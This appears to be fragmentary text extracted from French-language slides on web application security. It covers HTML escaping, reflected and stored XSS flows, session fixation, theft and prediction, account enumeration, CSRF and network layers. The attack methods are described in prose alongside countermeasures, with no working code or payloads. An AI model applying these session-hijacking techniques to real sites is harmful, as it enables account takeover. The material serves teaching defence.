Les remplacements effectués sont : " & " (et commercial) devient " &amp; " " " " (guillemets doubles) devient " &quot; " lorsque ENT_NOQUOTES n'est pas utilisée. "'" (guillemet simple) devient &#039; uniquement lorsque ENT_QUOTES est utilisée. " < " (inférieur à) devient " &lt; " " > " (supérieur à) devient " &gt; " htmlentities() est identique à la fonction htmlspecialchars() , sauf que tous les caractères qui ont des équivalents en entités HTML sont effectivement traduits. En PHP, il est possible de remplacer les caractères potentiellement interprétables en Shell avec la fonction escapeshellcmd
1)La victime utilise un lien ou un formulaire frauduleux. Les moteurs de recherche sont des cibles de prédilection Le paramètre de recherche est par exemple complété par le code actif 2) Le code actif est traité par l’application Web et génère un code malicieux 3) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
Les réseaux sociaux sont des cibles de prédilection Un message contient alors le code actif 1) L’attaquant réussit à insérer le code actif dans les données de l’application vulnérable 2)La victime utilise l’application infiltrée. 3) Le code actif est traité par l’application Web et génère un code malicieux 4) La page de résultat est affichée et le code malicieux est exécuté avec le récapitulatif des paramètres de recherche
En conclusion, les solutions restent les mêmes quelque soit la forme de l’attaque XSS. En plus cette protection est églament utile pour se protéger des attaques par injection
Pendant toute la durée de travail avec l’application Web, l’identifiant de session est transmis à chaque requête http pour le conserver. Pour cela, on utilise un paramètre d’URL (pour le méthode GET) Un champ caché de formulaire (pour la méthode POST) Un cookie
Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de connaître les comptes existants
Force brute Comptes par défaut Système de réinitialisation de mot de passe Système de création de comptes par soi-même Permet de ne pas créer de comptes proches et de ne pas donner d’information sur les comptes existants Ne pas laisser l’utilisateur choisir son identifiant. Permet de gérer les remontées d’information sur les comptes
Fixation L’identifiant de session est imposé par le pirate. C’est la méthode la plus simple pour obtenir un identifiant de session valide. Le pirate fournit l’identifiant à la victime (lien dans l’URL, création de cookie, utilisation d’un formulaire sur un autre serveur). L’utilisateur se connecte au site et s’identifie. La session est créée en utilisant l’identifiant fourni. Le pirate peut accéder au site en fournissant l’identifiant fixé (détournement de session). L’identifiant de session peut être : - arbitraire (généré par le pirate) ; - obtenu en émettant une requête vers le site cible de l’attaque (si le site retourne un identifiant de session pour toute requête avant l’authentification de l’utilisateur). Vol - interception – l’identifiant est obtenu en écoutant le réseau ; - consultation du fichier de session sur le serveur ; (par injection de commandes systèmes par exemple) - lecture de l’information dans l’URL ; (copie d’adresse dans un mail) vol de cookie (XSS, cookie stocké dans le navigateur d’un ordinateur avec accès public). Prédiction l’identifiant est deviné. Par exemple, l’identifiant est un nombre entier incrémenté à chaque ouverture de session. Force brute
Vérifier que le navigateur est le même que celui qui a ouvert la session Vérifier que l’IP de l’utilisateur est la même que celle qui a ouvert la session Possibilité de fermer la session et mettre en place une durée limite pour la session Lorsqu’une session est détruite, il faut: Supprimer les données sur le serveur Envoyer un cookie vie au client
Un développeur doit toujours avoir à l’esprit que les données reçues ne proviennent pas toujours d’une source fiable
1) L’utilisateur se connecte à l’application 2) L’utilisateur utilise un lien ou un formulaire frauduleux qui contient un script caché 3) Le code est traité par l’application Web et génère une action
Communiquer sur des réseaux implique l’utilisation de standards. Internet se base sur 4 couches de protocoles. Le principe des couches est le suivant : - Chaque couche regroupe des protocoles de même ordre (qui gère les mêmes fonctionnalités : transmission, physique, etc...) - Chaque couche est totalement indépendante des couches supérieures et inférieures. - Chaque couche ne peut transmettre les paquets qu'à la couche inférieure (en émission) ou supérieure (en réception), à l'aide de ce qu'on appelle des SDU (Service Data Unit) - Une couche ne peut envoyer des informations à une machine distante que vers une couche de même niveau. Ces échanges sont appelés PDU (Protocol Data Unit). Lorsqu'une information est émise par une couche, elle doit accéder à la couche physique pour pouvoir être envoyée sur le réseau. Elle doit donc pour cela traverser chacune des couches qui la sépare de la couche physique. Mais chaque couche doit ajouter ses informations aux paquets afin de permettre au destinataire de les faire remonter correctement, en suivant les bons protocoles. Ces informations sont ajoutées dans des entêtes, ajoutées au début du paquet. L'ajout successif des entêtes par chaque couche traversée est appelé encapsulation. Lorsque le paquet arrive à son destinataire, il remonte les couches une part une, et chacune récupère les informations contenues dans l'entête la concernant, et retire cette dernière. Le paquet arrive donc à la couche visée dans le même état que celui dans lequel il a été émis.
Tableau des attaques 2004, 2007, 2010
Tableau des attaques 2004, 2007, 2010
Faut-il abandonner Ajax car trop de possibilités de faire n’importe quoi ? Guide de bonnes pratiques W3C pour les applications Web smartphones